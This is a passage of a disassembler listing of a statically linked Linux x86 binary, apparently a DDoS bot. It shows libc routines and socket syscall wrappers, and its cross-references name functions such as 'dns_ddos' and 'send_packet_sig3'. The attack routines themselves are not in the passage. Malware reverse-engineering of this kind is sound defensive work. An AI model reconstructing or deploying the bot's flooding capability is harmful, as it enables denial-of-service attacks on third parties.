byte ptr [edx+eax*2+1], 4 jz loc_80554E8 movzx eax, byte ptr [ebx+1] test byte ptr [edx+eax*2+1], 4 jz loc_80554E8 movzx eax, byte ptr [ebx+2] test byte ptr [edx+eax*2+1], 4 jz loc_80554E8 cmp byte ptr [ebx+3], 20h jnz short loc_80554E8 cmp byte ptr [ebx+4], 20h jz short loc_805547A movzx eax, byte ptr [ebx+4] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 loc_805547A: ; CODE XREF: sub_80553A0+CDj movzx eax, byte ptr [ebx+5] mov edx, dword_8078FA0 test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 cmp byte ptr [ebx+6], 20h jnz short loc_80554E8 movzx eax, byte ptr [ebx+7] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 movzx eax, byte ptr [ebx+8] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 cmp byte ptr [ebx+9], 3Ah jnz short loc_80554E8 movzx eax, byte ptr [ebx+0Ah] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 movzx eax, byte ptr [ebx+0Bh] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 cmp byte ptr [ebx+0Ch], 3Ah jnz short loc_80554E8 movzx eax, byte ptr [ebx+0Dh] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 movzx eax, byte ptr [ebx+0Eh] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 cmp byte ptr [ebx+0Fh], 20h jnz short loc_80554E8 add ebx, 10h loc_80554E8: ; CODE XREF: sub_80553A0+9Fj ; sub_80553A0+AEj ... mov eax, ebx sub eax, [ebp+arg_0] mov esi, [ebp+arg_4] sub esi, eax mov [ebp+var_4], esi mov eax, esi dec eax cmp edi, eax jl short loc_8055514 push eax push ebx mov esi, [ebp+arg_8] push esi call bcopy mov esi, [ebp+var_4] mov byte ptr [ebx+esi-1], 0 jmp loc_80555A4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055514: ; CODE XREF: sub_80553A0+15Aj push edi mov esi, [ebp+arg_8] push esi push ebx call bcmp add esp, 0Ch test eax, eax jz short loc_80555A4 mov esi, [ebp+var_4] lea eax, [ebx+esi-1] sub eax, edi mov byte ptr [eax], 0 push 0 push ebx call strchr mov ecx, eax add esp, 8 cmp ecx, ebx jb short loc_8055599 lea edx, [ebx-1] mov eax, edx sub eax, ecx and eax, 3 cmp ecx, edx jle short loc_805556B test eax, eax jz short loc_8055578 cmp eax, 3 jge short loc_805556B cmp eax, 2 jge short loc_8055565 mov al, [ecx] mov [edi+ecx], al dec ecx loc_8055565: ; CODE XREF: sub_80553A0+1BDj mov al, [ecx] mov [edi+ecx], al dec ecx loc_805556B: ; CODE XREF: sub_80553A0+1AFj ; sub_80553A0+1B8j mov al, [ecx] mov [edi+ecx], al dec ecx cmp ecx, ebx jb short loc_8055599 lea esi, [esi+0] loc_8055578: ; CODE XREF: sub_80553A0+1B3j ; sub_80553A0+1F7j mov al, [ecx] mov [edi+ecx], al mov al, [ecx-1] mov [edi+ecx-1], al mov al, [ecx-2] mov [edi+ecx-2], al mov al, [ecx-3] mov [edi+ecx-3], al add ecx, 0FFFFFFFCh cmp ecx, ebx jnb short loc_8055578 loc_8055599: ; CODE XREF: sub_80553A0+1A1j ; sub_80553A0+1D3j push edi push ebx mov esi, [ebp+arg_8] push esi call bcopy loc_80555A4: ; CODE XREF: sub_80553A0+Dj ; sub_80553A0+17j ... lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80553A0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000049 BYTES: COLLAPSED FUNCTION usleep. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000006B BYTES: COLLAPSED FUNCTION execl. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000005C BYTES: COLLAPSED FUNCTION getenv. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80556C4 proc near ; DATA XREF: sleep+3Do push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_80556C4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sleep proc near ; CODE XREF: real_start+48Ap ; real_start+9C9p ... var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push edi push esi push ebx mov edi, [ebp+arg_0] mov ecx, errno mov [ebp+var_30], ecx test edi, edi jnz short loc_80556EC xor eax, eax jmp loc_80557DD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80556EC: ; CODE XREF: sleep+17j mov [ebp+var_24], 2000h lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push 0 call __libc_sigprocmask add esp, 0Ch test eax, eax jl short loc_8055734 mov [ebp+var_10], offset sub_80556C4 mov [ebp+var_C], 0 mov [ebp+var_8], 0 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push 0Eh call __sigaction add esp, 0Ch test eax, eax jge short loc_805573C loc_8055734: ; CODE XREF: sleep+3Bj mov eax, edi jmp loc_80557DD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805573C: ; CODE XREF: sleep+66j push 0 call __libc_time mov [ebp+var_2C], eax push edi call __libc_alarm mov ebx, eax add esp, 8 test ebx, ebx jz short loc_8055784 cmp ebx, edi jnb short loc_8055784 push 0 lea eax, [ebp+var_20] push eax push 0Eh call __sigaction push ebx call __libc_alarm lea eax, [ebp+var_28] push eax call sigsuspend push 0 call __libc_time mov esi, eax add esp, 18h jmp short loc_80557A6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055784: ; CODE XREF: sleep+87j sleep+8Bj lea eax, [ebp+var_28] push eax call sigsuspend push 0 call __libc_time mov esi, eax push 0 lea eax, [ebp+var_20] push eax push 0Eh call __sigaction add esp, 14h loc_80557A6: ; CODE XREF: sleep+B5j mov eax, esi sub eax, [ebp+var_2C] xor esi, esi cmp eax, edi ja short loc_80557B5 mov esi, edi sub esi, eax loc_80557B5: ; CODE XREF: sleep+E3j xor edx, edx cmp eax, ebx ja short loc_80557BF mov edx, ebx sub edx, eax loc_80557BF: ; CODE XREF: sleep+EDj push edx call __libc_alarm push 0 lea eax, [ebp+var_28] push eax push 2 call __libc_sigprocmask mov ecx, [ebp+var_30] mov errno, ecx mov eax, esi loc_80557DD: ; CODE XREF: sleep+1Bj sleep+6Aj lea esp, [ebp+var_3C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sleep endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [000001B5 BYTES: COLLAPSED FUNCTION system. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000021A BYTES: COLLAPSED FUNCTION srand. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000017C BYTES: COLLAPSED FUNCTION initstate. PRESS KEYPAD "+" TO EXPAND] ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+8] mov eax, [ebx] mov edi, 5 cdq idiv edi mov ecx, edx mov esi, eax mov edx, rand_state_ptr add edx, 0FFFFFFFCh mov [ebp-4], edx cmp rand_type, 0 jnz short loc_8055D78 mov eax, rand_state_ptr mov dword ptr [eax-4], 0 jmp short loc_8055D94 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055D78: ; CODE XREF: .text:08055D65j mov edx, rand_state_ptr mov eax, dword_8078954 sub eax, edx sar eax, 2 lea eax, [eax+eax*4] add eax, rand_type mov [edx-4], eax loc_8055D94: ; CODE XREF: .text:08055D73j cmp ecx, 4 jg short loc_8055DC0 test ecx, ecx jl short loc_8055DC0 mov rand_type, ecx mov eax, dword_80788A8[ecx*4] mov rand_deg, eax mov eax, dword_80788BC[ecx*4] mov rand_sep, eax jmp short loc_8055DD0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055DC0: ; CODE XREF: .text:08055D97j ; .text:08055D9Bj mov errno, 16h xor eax, eax jmp short loc_8055E2C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055DD0: ; CODE XREF: .text:08055DBBj add ebx, 4 mov rand_state_ptr, ebx cmp rand_type, 0 jz short loc_8055E11 lea eax, ds:0[esi*4] add eax, ebx mov dword_8078954, eax mov eax, esi add eax, rand_sep cdq idiv rand_deg lea eax, ds:0[edx*4] add eax, rand_state_ptr mov dword_8078950, eax loc_8055E11: ; CODE XREF: .text:08055DE0j mov edi, rand_deg lea eax, ds:0[edi*4] add eax, rand_state_ptr mov rand_end_ptr, eax mov eax, [ebp-4] loc_8055E2C: ; CODE XREF: .text:08055DCCj lea esp, [ebp-10h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame __random proc near ; CODE XREF: dns_ddos+163p ; dns_ddos+1C4p ... push ebp mov ebp, esp cmp rand_type, 0 jnz short loc_8055E68 mov eax, rand_state_ptr imul edx, [eax], 41C64E6Dh add edx, 3039h and edx, 7FFFFFFFh mov [eax], edx mov eax, rand_state_ptr mov eax, [eax] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055E68: ; CODE XREF: __random+Aj mov edx, dword_8078950 mov eax, dword_8078954 mov eax, [eax] add [edx], eax mov eax, dword_8078950 mov edx, [eax] shr edx, 1 add dword_8078950, 4 mov eax, dword_8078950 cmp rand_end_ptr, eax ja short loc_8055EA8 mov eax, rand_state_ptr mov dword_8078950, eax add dword_8078954, 4 jmp short loc_8055EC6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055EA8: ; CODE XREF: __random+5Bj add dword_8078954, 4 mov eax, dword_8078954 cmp rand_end_ptr, eax ja short loc_8055EC6 mov eax, rand_state_ptr mov dword_8078954, eax loc_8055EC6: ; CODE XREF: __random+6Ej __random+82j mov eax, edx mov esp, ebp pop ebp retn __random endp ; [0000003C BYTES: COLLAPSED FUNCTION abort. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION atexit. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8055F34 proc near ; CODE XREF: atexit+7p push ebp mov ebp, esp mov ecx, dword_8078AF4 test ecx, ecx jz short loc_8055F6C lea esi, [esi+0] loc_8055F44: ; CODE XREF: sub_8055F34+36j xor edx, edx cmp [ecx+4], edx jbe short loc_8055F60 xor eax, eax lea esi, [esi+0] loc_8055F50: ; CODE XREF: sub_8055F34+2Aj cmp dword ptr [eax+ecx+8], 0 jz short loc_8055F98 add eax, 0Ch inc edx cmp [ecx+4], edx jnz short loc_8055F50 loc_8055F60: ; CODE XREF: sub_8055F34+15j cmp dword ptr [ecx+4], 1Fh jbe short loc_8055FA0 mov ecx, [ecx] test ecx, ecx jnz short loc_8055F44 loc_8055F6C: ; CODE XREF: sub_8055F34+Bj push 188h call malloc mov ecx, eax test ecx, ecx jz short loc_8055FB4 mov eax, dword_8078AF4 mov [ecx], eax mov dword_8078AF4, ecx mov dword ptr [ecx+4], 1 lea eax, [ecx+8] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055F98: ; CODE XREF: sub_8055F34+21j lea eax, [ecx+eax+8] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055FA0: ; CODE XREF: sub_8055F34+30j mov eax, [ecx+4] lea eax, [eax+eax*2] lea eax, [ecx+eax*4+8] inc dword ptr [ecx+4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055FB4: ; CODE XREF: sub_8055F34+46j xor eax, eax mov esp, ebp pop ebp retn sub_8055F34 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000070 BYTES: COLLAPSED FUNCTION exit. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION mbtowc. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame random proc near ; CODE XREF: real_start+28Bp ; real_start+30Cp ... push ebp mov ebp, esp call __random mov esp, ebp pop ebp retn random endp ; [000003D0 BYTES: COLLAPSED FUNCTION __strtol_internal. PRESS KEYPAD "+" TO EXPAND] ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov eax, [ebp+10h] push 0 push eax push edx push ecx call __strtol_internal mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000002F BYTES: COLLAPSED FUNCTION bcmp. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000AC BYTES: COLLAPSED FUNCTION bcopy. PRESS KEYPAD "+" TO EXPAND] ; [00000042 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000086 BYTES: COLLAPSED FUNCTION memmove. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000045 BYTES: COLLAPSED FUNCTION strcasecmp. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000023 BYTES: COLLAPSED FUNCTION strcpy. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000040 BYTES: COLLAPSED FUNCTION strdup. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80566A4 proc near ; CODE XREF: Aerror+1Fp ; sub_804E694+1Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push offset unk_807AC6C push eax call _strerror_internal mov esp, ebp pop ebp retn sub_80566A4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000014E BYTES: COLLAPSED FUNCTION strncasecmp. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000C3 BYTES: COLLAPSED FUNCTION strncpy. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000082 BYTES: COLLAPSED FUNCTION strtok. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000067 BYTES: COLLAPSED FUNCTION __gethostname. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003E BYTES: COLLAPSED FUNCTION signal. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000030 BYTES: COLLAPSED FUNCTION __waitpid. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame accept proc near ; CODE XREF: real_start+865p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], ecx mov edx, 5 lea ecx, [ebp+var_C] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056A69 neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056A69: ; CODE XREF: accept+2Ej mov eax, edx mov ebx, [ebp+var_10] mov esp, ebp pop ebp retn accept endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame bind proc near ; CODE XREF: real_start+839p ; bindresvport+ACp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], ecx mov edx, 2 lea ecx, [ebp+var_C] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056AB1 neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056AB1: ; CODE XREF: bind+2Ej mov eax, edx mov ebx, [ebp+var_10] mov esp, ebp pop ebp retn bind endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame connect proc near ; CODE XREF: res_send+215p ; res_send+52Cp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], ecx mov edx, 3 lea ecx, [ebp+var_C] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056AF9 neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056AF9: ; CODE XREF: connect+2Ej mov eax, edx mov ebx, [ebp+var_10] mov esp, ebp pop ebp retn connect endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame listen proc near ; CODE XREF: real_start+847p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov [ebp+var_4], edx mov edx, 4 lea ecx, [ebp+var_8] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056B3B neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056B3B: ; CODE XREF: listen+28j mov eax, edx mov ebx, [ebp+var_C] mov esp, ebp pop ebp retn listen endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame recv proc near ; CODE XREF: real_start+191p ; real_start+896p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_C] mov [ebp+var_4], eax mov ebx, [ebp+arg_0] mov [ebp+var_10], ebx mov [ebp+var_C], edx mov [ebp+var_8], ecx mov edx, 0Ah lea ecx, [ebp+var_10] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056B87 neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056B87: ; CODE XREF: recv+34j mov eax, edx mov ebx, [ebp+var_14] mov esp, ebp pop ebp retn recv endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame recvfrom proc near ; CODE XREF: res_send+76Bp ; sub_8064438+2FEp var_24 = byte ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push edi push esi push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov esi, [ebp+arg_10] mov edi, [ebp+arg_14] mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], ecx mov ebx, [ebp+arg_C] mov [ebp+var_C], ebx mov [ebp+var_8], esi mov [ebp+var_4], edi mov edx, 0Ch lea ecx, [ebp+var_18] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056BE1 neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056BE1: ; CODE XREF: recvfrom+42j mov eax, edx lea esp, [ebp+var_24] pop ebx pop esi pop edi mov esp, ebp pop ebp retn recvfrom endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame send proc near ; CODE XREF: real_start+8F7p ; res_send+576p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_C] mov [ebp+var_4], eax mov ebx, [ebp+arg_0] mov [ebp+var_10], ebx mov [ebp+var_C], edx mov [ebp+var_8], ecx mov edx, 9 lea ecx, [ebp+var_10] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056C33 neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056C33: ; CODE XREF: send+34j mov eax, edx mov ebx, [ebp+var_14] mov esp, ebp pop ebp retn send endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sendto proc near ; CODE XREF: send_packet_sig3+16Dp ; dns_ddos+35Ap ... var_24 = byte ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push edi push esi push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov esi, [ebp+arg_10] mov edi, [ebp+arg_14] mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], ecx mov ebx, [ebp+arg_C] mov [ebp+var_C], ebx mov [ebp+var_8], esi mov [ebp+var_4], edi mov edx, 0Bh lea ecx, [ebp+var_18] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056C8D neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056C8D: ; CODE XREF: sendto+42j mov eax, edx lea esp, [ebp+var_24] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sendto endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame setsockopt proc near ; CODE XREF: real_start+821p var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push esi push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov esi, [ebp+arg_10] mov eax, [ebp+arg_0] mov [ebp+var_14], eax mov [ebp+var_10], edx mov [ebp+var_C], ecx mov ebx, [ebp+arg_C] mov [ebp+var_8], ebx mov [ebp+var_4], esi mov edx, 0Eh lea ecx, [ebp+var_14] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056CE6 neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056CE6: ; CODE XREF: setsockopt+3Bj mov eax, edx lea esp, [ebp+var_1C] pop ebx pop esi mov esp, ebp pop ebp retn setsockopt endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame socket proc near ; CODE XREF: real_start+12Ep ; real_start+7D2p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], ecx mov edx, 1 lea ecx, [ebp+var_C] mov eax, 66h mov ebx, edx int 80h ; LINUX - sys_socketcall mov edx, eax test edx, edx jge short loc_8056D31 neg edx mov errno, edx mov edx, 0FFFFFFFFh loc_8056D31: ; CODE XREF: socket+2Ej mov eax, edx mov ebx, [ebp+var_10] mov esp, ebp pop ebp retn socket endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8056D3C proc near ; CODE XREF: 